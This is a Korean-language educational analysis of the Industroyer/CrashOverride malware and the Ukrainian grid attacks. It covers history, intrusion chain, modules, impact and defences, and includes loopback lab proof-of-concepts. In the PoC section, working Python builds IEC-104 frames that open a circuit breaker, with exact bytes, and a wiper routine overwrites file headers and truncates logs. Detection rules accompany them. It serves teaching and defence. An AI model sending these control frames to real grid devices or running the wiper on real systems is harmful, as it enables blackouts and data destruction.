1. 배경/역사 — 언제, 누가, 왜 유명한가
2015년 12월 23일, 우크라이나 서부 3개 지역의 배전사업자가 동시에 공격받아 약 23만 가구가 1~6시간 동안 정전됐다. 역사상 처음으로 공개적으로 인정된 '사이버 공격에 의한 정전'이었다. 사용된 도구는 BlackEnergy 3(침투·원격제어 탈취) + KillDisk(와이퍼) + 콜센터 전화 폭주(TDoS) 조합이었고, 공격자는 합법 원격관리 도구로 운영자 워크스테이션을 장악해 SCADA HMI 화면에서 직접 차단기를 열었다.
정확히 1년 뒤인 2016년 12월 17일, 키이우( Kyiv) 북부 Pivnichna 변전소에서 두 번째 정전이 발생해 키이우 전력의 약 5분의 1이 약 1시간 동안 끊겼다. 이 공격에 쓰인 악성코드는 ESET이 2017년 6월 공개했고 이름은 Industroyer, Dragos는 같은 샘플을 CrashOverride라 명명했다. 위키백과가 정리한 정의 그대로, Industroyer는 "전력망을 공격하기 위해 특별히 설계된 최초의 알려진 악성코드"이며, ICS를 겨냥한 악성코드로는 Stuxnet·Havex·BlackEnergy에 이어 4번째로 공개된 사례다.
그런데 왜 '익스플로잇 없이'인가? 산업제어 프로토콜은 수십 년 전에 '외부와 단절된 폐쇄망'을 전제로 설계되어 인증·암호화가 없다. ESET의 표현을 그대로 옮기면 "공격자들은 프로토콜 취약점을 찾을 필요가 없었고, 악성코드에게 그 프로토콜을 '말하게' 하면 됐다". Industroyer는 IEC 60870-5-101/104, IEC 61850, OPC DA 네 가지 표준을 정상 클라이언트처럼 구현해 차단기·스위치를 직접 조작했다. 제로데이 없이도 국가 전력망이 멈춘다는 사실을 증명한 사건이며, 이후 OT 보안의 교과서(IEC 62351, Purdue 구역 분리, 단방향 게이트웨이)가 다시 쓰이게 됐다.
귀속은 러시아 군정보국(GRU) 계열로 널리 알려진 Sandworm(별칭 TeleBots·Electrum, GRU 74455부대)로 평가된다. 이들은 2015년 우크라이나 전력망, 2017년 NotPetya, 2022년 Industroyer2까지 같은 계보를 이어갔다. 2022년 4월 Industroyer2는 ESET과 우크라이나 CERT-UA가 배포 전에 적발해 실제 정전은 막혔다 — 즉 이 계열은 지금도 살아 있는 위협이다.
- 악성코드명: Industroyer (ESET 명칭) = CrashOverride (Dragos 명칭) · 후속형 Industroyer2(2022)
- 등장/사용: 2016-12-17 키이우 정전에 사용 → 2017-06 ESET 공개 · 2015-12-23 선행 공격은 BlackEnergy 3 + KillDisk
- 귀속: Sandworm (러시아 GRU 계열, MITRE ATT&CK G0034) — MITRE는 Industroyer를 S0604로 등록
- 유형: 모듈형 ICS 공격 프레임워크 — 백도어 2종 + 런처 + 프로토콜 페이로드 4종 + 커스텀 포트스캐너 + 와이퍼 + DoS 구성요소
- 핵심 기법: 취약점 악용 대신 산업 프로토콜 정상 구현(IEC 101/104/61850, OPC DA)으로 차단기 직접 조작 · Tor 기반 C2 · 근무시간 외에만 통신 · Notepad 위장 2차 백도어 · 활성화 시각 하드코딩
- 규모(공개 수치): 2015년 3개 배전사업자 · 변전소 30곳 · 약 23만 가구 · 1~6시간 정전 · 미공급 전력 약 73 MWh / 2016년 키이우 약 1/5 지역 · 약 1시간
- 왜 유명한가: 최초의 '프로토콜 자체를 무기화한' 전력망 악성코드 — 제로데이·익스플로잇 없이 정상 명령만으로 계통을 열었다. ICS 보안 규제·아키텍처(Purdue 모델, IEC 62351)를 바꾼 기준점이며, 2022년 Industroyer2로 계보가 이어졌다.
2. 감염·전파 경로 — '웜'이 아니라 사람이 옮긴다
Industroyer는 자기복제 웜이 아니다(Conficker나 WannaCry와 정반대다). 스캔·전파 루틴이 없고, 공격자가 손으로 조작하는 침투(hands-on-keyboard)로 배포된다. 그래서 방어 관점에서는 "악성코드 탐지"보다 침투 후 행위와 프로토콜 이상 징후 탐지가 훨씬 중요해진다. 실제 체인은 다음과 같다.
- ① 초기 침투 — 스피어피싱: 2015년에는 오피스 문서·매크로 기반 스피어피싱으로 BlackEnergy 3를 심고 기업망(IT)을 먼저 장악했다. 공격 대상은 OT가 아니라 그 옆의 사무·정산용 PC였다.
- ② 자격증명 탈취 → 합법 도구 악용: 탈취한 계정으로 VPN·RDP 등 정상 원격관리 도구를 그대로 사용해 운영자 워크스테이션에 접속했다. 새 악성코드를 안 쓰는 것이 곧 은닉이다(2015년 HMI 원격 조작).
- ③ 평면망 횡이동 (IT→OT): 실제 현장에는 에어갭이 없다. 문서상 분리된 IT와 OT가 방화벽·VPN·무선·유지보수 노트북으로 연결돼 있어, 기업망에서 변전소 RTU(원격 단말장치)까지 도달할 수 있었다.
- ④ Industroyer 배치(2016): 런처(launcher) 실행 파일 + 페이로드 DLL 세트를 밀어 넣고, 런처에 활성화 날짜(2016-12-17, 12-20)가 하드코딩돼 있어 정해진 시각에만 동작했다.
- ⑤ C2 은닉: 명령·제어 서버 주소를 Tor로 숨기고, 통신을 근무시간 외로 제한해 트래픽 프로파일링을 회피했다.
- ⑥ 2차 백도어: 주 백도어가 제거되어도 재침투할 수 있도록 Notepad(메모장)로 위장한 백도어를 따로 심었다.
- ⑦ 직접 제어: HMI를 조작하는 대신 보호계전기·차단기와 직접 프로토콜로 대화해 계통을 열었다. 운영자 콘솔에는 '통신 두절/장비 고장'처럼 보였다.
3. 동작 원리 상세 분석 — 코드/구조 레벨
ESET·Dragos 분석에 따르면 Industroyer의 구조는 모듈 묶음이다. 핵심은 "공격자가 직접 만든 커스텀 도구"라는 점 — 기존 툴을 쓰지 않고 포트스캐너까지 자체 제작해 탐지를 우회했다.
| 구성요소 | 역할 |
|---|---|
| 메인 백도어 | 모든 모듈 설치·제어, 원격 C2에서 명령 수신·보고 |
| 2차 백도어 | 메모장(Notepad) 위장, 주 백도어 제거 시 재접근 경로 |
| 런처(launcher) | 페이로드·와이퍼 실행 담당, 활성화 시각 하드코딩(2016-12-17 / 12-20) |
| 페이로드 4종 | IEC 60870-5-101, IEC 60870-5-104, IEC 61850, OPC DA — 계통 정찰 후 실제 제어 명령 발행 |
| 커스텀 포트 스캐너 | 제어망 내부를 스캔해 조작 가능한 장비를 특정 |
| 와이퍼(wiper) | 핵심 레지스트리 키 삭제·파일 덮어쓰기로 부팅 불가·복구 지연 유도(ABB 계열 장비 겨냥 변형) |
| DoS 구성요소 | CVE-2015-5374: 지멘스 SIPROTEC 계전기에 조작된 단일 패킷을 보내 응답 정지 상태로 만듦 |
3-1. 왜 '프로토콜'이 곧 공격 표면인가
| 표준 | 전송/포트 | 용도 |
|---|---|---|
| IEC 60870-5-101 | 직렬(RS-232/485) | 원거리 감시제어(텔레컨트롤) — 구형 변전소 |
| IEC 60870-5-104 | TCP 2404 | 101을 TCP/IP로 이식 — 변전소 RTU 제어의 사실상 표준 |
| IEC 61850 | MMS(TCP 102), GOOSE(L2) | 디지털 변전소 자동화 — 보호·계측·제어 |
| OPC DA | DCOM(135 + 동적) | Windows 기반 HMI/SCADA 데이터 접근 구간 |
핵심은 ASDU(Application Service Data Unit)의 Type ID 한 바이트다. 100은
"일반조회(지금 상태 전부 보고하라)", 45는 "단일 명령(차단기 ON/OFF)". 즉 명령 코드 한 바이트를
100에서 45로 바꾸는 것이 '감시'에서 '제어'로 넘어가는 순간이다. 인증도, 서명도, 암호화도 없다.
실제 104 프레임을 뜯어보면 아래와 같다(5장 PoC 1이 이 바이트를 직접 생성·파싱한다).
① 일반조회(정찰) 68 0E | 00 00 00 00 | 64 01 06 00 | 01 00 | 00 00 00 | 14
└ 68=시작 0E=길이(14=4+ASDU10) | I-format 제어필드 | ASDU: TypeID=0x64(100) VSQ=01
COT=0x0006(activate) CA=0x0001 IOA=0x000000 QOI=0x14(20=Station)
② SELECT(무장) 68 0E | 00 00 00 00 | 2D 01 06 00 | 01 00 | 01 00 00 | 8D
③ EXECUTE(차단) 68 0E | 00 00 00 00 | 2D 01 06 00 | 01 00 | 01 00 00 | 0D
└ 2D=45(C_SC_NA_1 단일명령) · SCO 바이트 = bit0 SCS(ON/OFF) + bit2-6 QU(3=지속) + bit7 SE
8D = 1000 1101 → SE=1(Select) · QU=3 · SCS=1(ON)
0D = 0000 1101 → SE=0(Execute) · QU=3 · SCS=1(ON) ← 이 1바이트 차이가 차단기를 연다
3-2. 2016년 킬체인 — '마우스가 움직이지 않았다'
- 정찰: 페이로드가 먼저 네트워크를 매핑하고 일반조회(ASDU 100)로 각 RTU·계전기의 상태·주소(IOA)를 수집한다. ESET은 페이로드가 "네트워크를 매핑한 뒤 해당 장비에서 통할 명령을 찾아내는 단계"로 동작한다고 설명했다.
- 제어 명령: 확보한 IOA로 SELECT → EXECUTE 순서의 단일 명령(ASDU 45)을 보내 차단기를 개방한다. 실제 산업 표준이 갖춘 select-before-operate 안전 절차를 공격자가 정상적으로 준수한다는 점이 소름 돋는 부분이다.
- 흔적 은폐: HMI 조작이 아니라 프로토콜 직접 제어이므로 운영 화면에는 장비 고장·통신 두절로 나타났고, 이어 와이퍼로 복구를 방해했다.
- 계보: 같은 공격자의 2015년 공격은 HMI 원격조작 + KillDisk였다면, 2016년은 HMI도 거치지 않는 직접 제어로 진화했다. 2022년 Industroyer2는 전력 변전소를 겨냥한 예약 실행형으로 더 단순해졌다(와이퍼 결합).
4. 피해 규모/영향 — 숫자와 실제 사례
- 2015-12-23 (BlackEnergy 3 + KillDisk): 우크라이나 3개 배전사업자 동시 타격. 가장 피해가 큰 Prykarpattyaoblenergo에서 변전소 30곳(110 kV 7곳 + 35 kV 23곳)이 차단되고 약 23만 명이 1~6시간 정전됐다. 공급되지 못한 전력은 약 73 MWh (우크라이나 일일 소비의 약 0.015%).
- '복구는 손으로': KillDisk가 서버·워크스테이션을 덮어써 원격 복구가 불가능해지자, 운영자들이 변전소에 직접 출동해 차단기를 수동으로 투입했다. 정전 시간이 1~6시간에서 멈춘 이유는 악성코드보다 사람의 물리적 폴백이었다.
- 통신 차단(TDoS): 콜센터에 전화 폭주를 일으켜 "왜 불이 꺼졌는지" 알릴 채널까지 끊었다. 전력 + 정보 + 신뢰를 동시에 공격한 초기 다중 도메인 작전이었다.
- 2016-12-17 (Industroyer): 키이우 북부 Pivnichna 변전소. 약 200 MW, 키이우 전력의 약 1/5가 1시간가량 상실됐다. 물리적 규모는 작았지만 악성코드가 사람 개입 없이 계통을 열 수 있음을 증명한 사건이다.
- 파급(진짜 피해): 숫자는 작지만 산업은 바뀌었다 — IEC 62351(전력 시스템 보안), 북미 NERC CIP 강화, Purdue 모델 기반 구역·경로(zone/conduit) 분리, 단방향 게이트웨이·데이터 다이오드 도입, OT 전용 침입탐지(프로토콜 심층 분석) 시장이 이 사건을 계기로 본격화됐다. 한국도 같은 시기 한전·발전 자회사·원전 OT 보안 가이드와 망분리 점검 체계를 재정비했다.
- 진화 확인(2022): Industroyer2가 고전압 변전소를 겨냥해 예약 실행 형태로 배포됐으나 ESET·CERT-UA가 사전 적발해 정전은 발생하지 않았다. 공격자는 도구만 갈아 끼울 뿐 목표는 그대로다.
5. PoC — 교육용 모의 재현 (로컬 가상 환경 전용)
127.0.0.1 루프백 가상
RTU 하나뿐이고, 파일 변조는 /tmp/lab_wiper_demo 안에서 스스로 만든 더미만 대상으로 한다.
실습은 인터넷과 분리된 가상 로컬 랩 VM을 전제로 하며, 실제 환경 실행·변형·배포를 금지한다.
PoC 1 — IEC 60870-5-104 ASDU를 직접 만들어 '차단기를 여는' 구조 재현
익스플로잇이 아니라 프로토콜 규격대로 말하는 방식(= Industroyer의 핵심)을 그대로 재현한다. 가상 RTU는 SELECT/EXECUTE 절차를 검증해 상태를 바꾼다.
# industroyer_poc1_iec104.py (발췌) — 127.0.0.1:2404 루프백 가상 RTU 전용
def apdu(asdu): # I-format: 68 <len(4+ASDU)> <CF1..CF4> <ASDU>
return b"\x68" + bytes([len(asdu) + 4]) + b"\x00\x00\x00\x00" + asdu
def u_frame(fn): # STARTDT_ACT=0x07 / TESTFR_ACT=0x43 / STOPDT_ACT=0x13
return b"\x68\x04" + bytes([fn]) + b"\x00\x00\x00"
def general_interrogation(ca=1): # ASDU type 100 (C_IC_NA_1) activate, QOI=20(Station)
return apdu(bytes([100, 0x01]) + struct.pack("<H", 6) + struct.pack("<H", ca)
+ b"\x00\x00\x00" + bytes([20]))
def single_command(ca, ioa, on=True, select=False, qu=3): # ASDU type 45 (C_SC_NA_1)
sco = (0x80 if select else 0) | (qu << 2) | (1 if on else 0) # SE | QU | SCS
return apdu(bytes([45, 0x01]) + struct.pack("<H", 6) + struct.pack("<H", ca)
+ ioa.to_bytes(3, "little") + bytes([sco]))
실행 결과(실제 출력):
[① 연결 수립] 6바이트 68 04 07 00 00 00
[② 일반조회(정찰)] 16바이트 68 0E 00 00 00 00 64 01 06 00 01 00 00 00 00 14
[③ SELECT (무장)] 16바이트 68 0E 00 00 00 00 2D 01 06 00 01 00 01 00 00 8D
[④ EXECUTE (차단)] 16바이트 68 0E 00 00 00 00 2D 01 06 00 01 00 01 00 00 0D
--- 가상 RTU 로그 ---
RTU: U-STARTDT (activate)
RTU: C_IC_NA_1(일반조회) CA=1 COT=act(6) QOI=20
RTU: SELECT 수신 → IOA 0x000001 무장(armed)
RTU: EXECUTE 수신 → 차단기 상태 'OPEN(차단)' ⚠️
[*] 최종 차단기 상태: OPEN(차단)
[*] 외부 네트워크 통신: 0건 (127.0.0.1:2404 루프백 전용)
[*] 핵심: 익스플로잇 0건 — 프로토콜 규격대로 말했을 뿐이다 (Industroyer와 동일한 원리)
읽는 법: ② 64(=100)는 상태 조회, ③④ 2D(=45)는 제어 명령이다.
SCO 마지막 바이트 하나가 8D(Select)에서 0D(Execute)로 바뀌는 순간 차단기가 열린다 —
총 16바이트다.
PoC 2 — KillDisk 계열 '와이퍼' 동작: 삭제가 아니라 '헤더 파괴'
와이퍼의 목적은 데이터 탈취가 아니라 복구 지연·부팅 불가다. 아래는 샌드박스 안 더미 파일의 헤더를 고정 패턴(0x21)으로 덮어 '복구 도구가 정상 파일로 인식하지 못하게' 만드는 원리를 재현한다.
# industroyer_poc2_wiper.py (발췌) — 대상: /tmp/lab_wiper_demo 하위 더미 파일만
WIPE_PATTERN = 0x21 # 공개 분석에서 관찰된 계열 고정 패턴 중 하나
def wipe_file(path, pattern=WIPE_PATTERN, first_pct=0.10):
"""파일 앞부분(부트섹터/레코드 헤더)을 덮고 길이는 유지 → 헤더가 깨져 복구가 어려워진다"""
size = os.path.getsize(path)
head = max(512, int(size * first_pct))
with open(path, "r+b") as f:
f.seek(0)
f.write(bytes([pattern]) * min(head, size)) # 헤더/레코드 구조 파괴
return size
실행 결과(실제 출력):
=== ① 침해 직전 샌드박스 상태 (모두 /tmp 안 더미 파일) ===
./ProgramData/HMI/scada/station1.mdb 5400 B | 정상 시그니처: 있음
./Windows/System32/winevt/Logs/Security.evtx 10246 B | 정상 시그니처: 있음
./ProgramData/HMI/scada/ops_notes.txt 6450 B | 정상 시그니처: 있음
./mbr_head.bin 512 B | 정상 시그니처: 있음
./Windows/System32/config/SYSTEM.hive 4100 B | 정상 시그니처: 있음
=== ② 와이퍼 동작 (파일 삭제가 아니라 헤더 덮어쓰기) ===
[WIPED] ./ProgramData/HMI/scada/station1.mdb 5400 B → 헤더 540 B를 0x21로 덮음
[WIPED] ./Windows/System32/winevt/Logs/Security.evtx 10246 B → 헤더 1024 B를 0x21로 덮음
[WIPED] ./ProgramData/HMI/scada/ops_notes.txt 6450 B → 헤더 645 B를 0x21로 덮음
[WIPED] ./mbr_head.bin 512 B → 헤더 512 B를 0x21로 덮음
[WIPED] ./Windows/System32/config/SYSTEM.hive 4100 B → 헤더 512 B를 0x21로 덮음
=== ③ '복구 도구'가 보는 모습 (파일 크기는 그대로, 헤더는 사라짐) ===
./ProgramData/HMI/scada/station1.mdb 5400 B | 선두 64B 전부 0x21: 예 | 정상 시그니처 잔존: 예
./Windows/System32/winevt/Logs/Security.evtx 10246 B | 선두 64B 전부 0x21: 예 | 정상 시그니처 잔존: 아니오(복구 불가)
./ProgramData/HMI/scada/ops_notes.txt 6450 B | 선두 64B 전부 0x21: 예 | 정상 시그니처 잔존: 예
./mbr_head.bin 512 B | 선두 64B 전부 0x21: 예 | 정상 시그니처 잔존: 아니오(복구 불가)
./Windows/System32/config/SYSTEM.hive 4100 B | 선두 64B 전부 0x21: 예 | 정상 시그니처 잔존: 아니오(복구 불가)
=== ④ 흔적 삭제 모의: 이벤트 로그 더미 0바이트로 절단 (실제 로그 아님) ===
./Windows/System32/winevt/Logs/Security.evtx → 0 B
해석(중요): station1.mdb·ops_notes.txt는 헤더가 깨졌는데도 정상
시그니처가 남았다 — 헤더만 덮고 본문이 남으면 시그니처 카빙으로 조각 복구가 가능하다는 뜻이다.
그래서 실제 KillDisk 계열은 파일 전체를 여러 번 반복 덮어쓰기하고, MBR·레지스트리 하이브까지
노린다(부팅과 시스템 복원 자체를 무력화). "삭제는 복구된다, 덮어쓰기는 복구되지 않는다"가 와이퍼
대응의 출발점이다.
PoC 3 — CVE-2015-5374 '단일 패킷 → 계전기 침묵'을 상태 기계로만 재현
DoS 구성요소가 노린 취약점(지멘스 SIPROTEC 계열)은 조작된 패킷 1개로 장비가 응답을 멈추는 유형이다. 여기서는 익스플로잇 바이트를 만들지 않고, "장비가 침묵하면 방어자가 무엇을 보게 되는가"만 재현한다.
# industroyer_poc3_relay_dos.py (발췌) — 가상 객체 1개, 네트워크 송수신 0건
class ProtectionRelay:
def receive_packet(self, pkt):
# 재현하는 것은 '형식이 깨진 단일 패킷 → 응답 정지'라는 결과뿐.
# 실제로 어떤 바이트를 보내면 되는지(익스플로잇)는 다루지 않는다.
if pkt.get("malformed") and pkt.get("fw") in ("VULN-4.6", "VULN-4.7"):
self.state = "UNRESPONSIVE" # 운영자에게는 '장비 고장'으로 보인다
return "PACKET_DROPPED"
return "ACK"
def monitor(relay, t, missed): # 정상 계전기는 10초마다 응답한다 → 침묵이 곧 이상 신호
if relay.state == "UNRESPONSIVE":
missed += 1
verdict = "CRITICAL" if missed >= 3 else "WARN"
return missed, f"[{verdict}] {relay.name} 10초 하트비트 {missed}회 연속 실패 (ICS-104 TESTFR 무응답)"
실행 결과(실제 출력):
t= 10s 계전기 HEARTBEAT 응답 ✅
t= 20s 계전기 HEARTBEAT 응답 ✅
t= 25s 조작된 단일 패킷 1건 수신 → PACKET_DROPPED (장비: UNRESPONSIVE) ⚠️
[WARN] LAB-RELAY-01 10초 하트비트 1회 연속 실패 (ICS-104 TESTFR 무응답)
[CRITICAL] LAB-RELAY-01 10초 하트비트 3회 연속 실패 (ICS-104 TESTFR 무응답)
...
=== 방어 탐지 룰 (문자열 형태, 실제 배포 아님) ===
[Suricata]
alert tcp $OT_NET any -> $OT_SUBNET any (msg:"ICS IEC-104 unexpected ASDU SingleCommand to relay";
content:"|68|"; dsize:>6; byte_test:1,=,45,6; threshold:type limit,track by_src,count 5,seconds 60; sid:1000001;)
[Zeek(ICS)]
IEC104::command(...) { if (asdu_type == 45 || asdu_type == 100) NOTICE(["IEC-104 control/interrogation ASDU"]); }
[OT-IDS]
계전기 하트비트(TESTFR) 3회 연속 무응답 → 무결성 알림 + 해당 스위치 포트 미러링/차단
포인트: 단순 포트 차단이 아니라 ASDU Type ID(45/100)를 보는 탐지다. IT 보안의 "포트·시그니처" 관점으로는 정상 제어 트래픽과 공격 트래픽을 구분할 수 없다 — 같은 프로토콜, 같은 포트, 같은 명령 형식이기 때문이다.
6. 방어 방법/교훈 — 어떻게 막았고, 무엇을 배우나
- ① 프로토콜 인지 탐지(가장 직접적인 대응): 104/61850/OPC 트래픽을 화이트리스트로 정의한다 — 어떤 장비가 어떤 Type ID(45/46/100)·어떤 IOA 범위를 쓸 수 있는지. 일반조회 직후 다수의 단일명령, 근무시간 외 제어, 평소 없던 IOA 접근은 즉시 알림 대상이다.
- ② 구역·경로 분리(zone/conduit): Purdue 모델 기준 L3(운영망)–L2(제어망) 사이에 단방향 게이트웨이(데이터 다이오드)·산업용 방화벽을 두고, IT에서 OT로 향하는 제어 프로토콜이 '원천적으로' 흐르지 않게 한다. Industroyer는 이 경계를 넘을 수 있었다는 점이 출발점이었다.
- ③ 안전 절차의 무결성: select-before-operate를 계전기·RTU 레벨에서 강제하고 (미준수 명령 거부), 명령 타임아웃·이중 승인·물리 키 관리 상태(초기 조사에서 물리 키가 접근 가능한 상태로 남아 있었음)를 점검한다.
- ④ 원격접속 위생: VPN·RDP 계정에 MFA, 공용/공유 계정 금지, 유지보수 노트북 인증·망 분리, 세션 기록. 2015년 공격은 정상 원격관리 도구로 이뤄졌다 — 도구가 아니라 계정·세션을 감시해야 한다.
- ⑤ 장비·펌웨어 관리: CVE-2015-5374 같은 계전기 결함은 패치가 유일한 근본 대응이다. 미사용 포트·서비스 비활성, 기본 자격증명 제거, 벤더 권고 추적, 수명 종료(EOL) 장비 교체 로드맵을 갖춘다.
- ⑥ 로그의 '바깥'에 로그를 둔다: PoC 2가 보여준 대로 와이퍼는 로컬 이벤트 로그를 잘라낸다. WEF/SIEM 중앙 수집, HMI 파일 무결성 모니터링(FIM), OT 스위치 SPAN 포트 미러링으로 공격자가 지울 수 없는 증거를 남긴다.
- ⑦ 오프라인·불변 백업: 자격증명을 분리한 이뮤터블 백업이 있어야 와이퍼 시나리오에서 복구 시간을 통제할 수 있다("삭제는 복구되고, 덮어쓰기는 복구되지 않는다").
- ⑧ 수동 운전 리허설: 2015년 정전이 1~6시간에서 멈춘 이유는 사람이 현장에서 차단기를 투입할 수 있었기 때문이다. 원격 자동화가 죽어도 계통을 되살리는 비상 수동 절차·훈련이 최후의 가용성 통제다.
- ⑨ 교훈 — "취약점이 없어도 공격은 성립한다": Industroyer는 제로데이를 필요로 하지 않았다. 그래서 패치 중심 보안만으로는 OT를 지킬 수 없다. 정상 명령과 악성 명령을 구분하는 행위·의미 기반 탐지, 그리고 '감시(Loss of View)'와 '제어(Loss of Control)'를 동시에 상정한 사고대응 체계가 필요하다.
출처
- ESET WeLiveSecurity — Industroyer: biggest threat to industrial control systems since Stuxnet (2017-06-12) — welivesecurity.com/2017/06/12/industroyer-…
- Wikipedia — Industroyer (모듈 구성·활성화 시각·Crashoverride 명칭) — en.wikipedia.org/wiki/Industroyer
- Wikipedia — 2015 Ukraine power grid hack (3개 사업자·23만 가구·30개 변전소·73 MWh) — en.wikipedia.org/wiki/2015_Ukraine_power_grid_hack
- Dragos — CrashOverride: Analysis of the Threat to Electric Grid Operations — dragos.com/crashoverride
- SANS / E-ISAC — Analysis of the Cyber Attack on the Ukrainian Power Grid (Robert M. Lee, 2016-03-18) — sans.org/white-papers/36666
- CISA (구 ICS-CERT) — Advisory ICSA-16-336-02 (Industroyer) — cisa.gov/…/icsa-16-336-02
- CISA (구 ICS-CERT) — Cyber-Attack Against Ukrainian Critical Infrastructure (IR-ALERT-H-16-056-01) — cisa.gov/…/ir-alert-h-16-056-01
- MITRE ATT&CK — Industroyer (S0604) / Sandworm Team (G0034) — attack.mitre.org/software/S0604
- NVD — CVE-2015-5374 (Siemens SIPROTEC 계열 서비스 거부) — nvd.nist.gov/vuln/detail/CVE-2015-5374
- ESET — Industroyer2: Sandworm's cyberwarfare targeting Ukraine's power grid (2022-04) — welivesecurity.com/2022/04/12/industroyer2-…
- Wired — Kim Zetter, Inside the Cunning, Unprecedented Hack of Ukraine's Power Grid (2016-03-03) — wired.com/2016/03/inside-cunning-unprecedented-hack-…
※ 본문의 PoC 코드는 구조 이해 목적의 교육용 모의 코드이며, 실제 Industroyer/BlackEnergy/KillDisk 샘플·페이로드와 취약점 익스플로잇 코드는 포함하지 않습니다. 모든 실습은 인터넷과 분리된 격리 랩 VM을 전제로 합니다.
함께 읽기: ⚛️ Stuxnet (2010) — ICS 악성코드의 원형, PLC를 속인 첫 사이버 무기 · ☠️ NotPetya (2017) — 같은 Sandworm의 파괴형 와이퍼 · 🦅 SolarWinds SUNBURST (2020) — 신뢰를 무기로 한 공급망 침투 · 💥 Emotet (2014–2021) — '1차 침투 플랫폼'으로 진화한 봇넷